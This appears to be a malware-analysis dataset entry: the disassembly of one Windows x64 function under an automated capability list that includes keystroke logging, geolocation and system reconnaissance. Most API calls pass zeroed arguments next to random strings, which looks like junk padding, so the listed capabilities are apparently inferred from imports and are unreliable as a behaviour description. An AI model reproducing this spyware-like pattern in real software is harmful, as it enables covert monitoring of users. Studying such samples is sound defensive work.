Function at 0x1800034a0
Capabilities:
Copy file
Get common file path
Get disk information
Get file size
Get geographical location
Get keyboard layout
Get memory capacity
Get system information on windows
Log keystrokes via polling
Read file on windows
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
cmp dword [rcx + 0x18], 0
mov rbx, rcx
jne 0x180003567
call fcn.18004d298
mov r9d, eax
mov eax, 0x55555556
imul r9d
mov r8d, edx
shr r8d, 0x1f
add edx, r8d
lea ecx, [rdx + rdx*2]
sub r9d, ecx
mov ecx, 1
inc r9d
mov dword [rbx + 0x18], r9d
call fcn.18004743c
mov edx, dword [rbx + 0x18]
mov rdi, rax
sub edx, 1
je 0x18000354d
sub edx, 1
je 0x18000350d
cmp edx, 1
jne 0x18000355a
mov edx, 0x3ec0
call fcn.180004c90
mov qword [rbx + 0x10], rax
jmp 0x18000355a
mov ecx, 0xffffe04b
inc ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp ecx, edx
jne 0x180003512
cmp ecx, 0xffffe04d
jne 0x180003541
mov edx, 0x3ec0
call fcn.180004c90
mov qword [rbx + 8], rax
jmp 0x18000355a
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x3ec0
call fcn.180004c90
mov qword [rbx], rax
mov edx, 1
mov rcx, rdi
call fcn.180047350
mov edx, dword [0x1800d6574]
mov qword [rsp + 0x50], rsi
xor esi, esi
cmp edx, 0x8d137058
jne 0x1800036aa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InflateRect]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SleepConditionVariableCS]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemFileCacheSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMessageW]
xor r9d, r9d
lea rcx, str.UI5Rd43n9AU3oOl
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CharToOemBuffW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleHistoryInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteBoundaryDescriptor]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_PackDDElParam]
call qword [sym.imp.USER32.dll_GetKBCodePage]
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateIconFromResourceEx]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ScrollWindow]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
call qword [sym.imp.KERNEL32.dll_GetActiveProcessorGroupCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileShortNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClassInfoExW]
mov edx, dword [0x1800d6574]
mov ecx, dword [rbx + 0x18]
mov rdi, rsi
sub ecx, 1
je 0x1800036cb
sub ecx, 1
je 0x1800036c5
cmp ecx, 1
jne 0x1800036ce
mov rdi, qword [rbx + 0x10]
jmp 0x1800036ce
mov rdi, qword [rbx + 8]
jmp 0x1800036ce
mov rdi, qword [rbx]
cmp edx, 0xe0bec84d
jne 0x1800037b8
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor r8d, r8d
lea rdx, str.2Q8nYm1VMl6MD2WX2WE54pwu7Rhwl
lea rcx, str.rhMyfiDBiG81AS8
call qword [sym.imp.KERNEL32.dll_CopyFile2]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnableScrollBar]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SendMessageCallbackW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
xor ecx, ecx
call qword [sym.imp.USER32.dll_VkKeyScanW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CloseDesktop]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov rsi, qword [rsp + 0x50]
mov rax, rdi
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret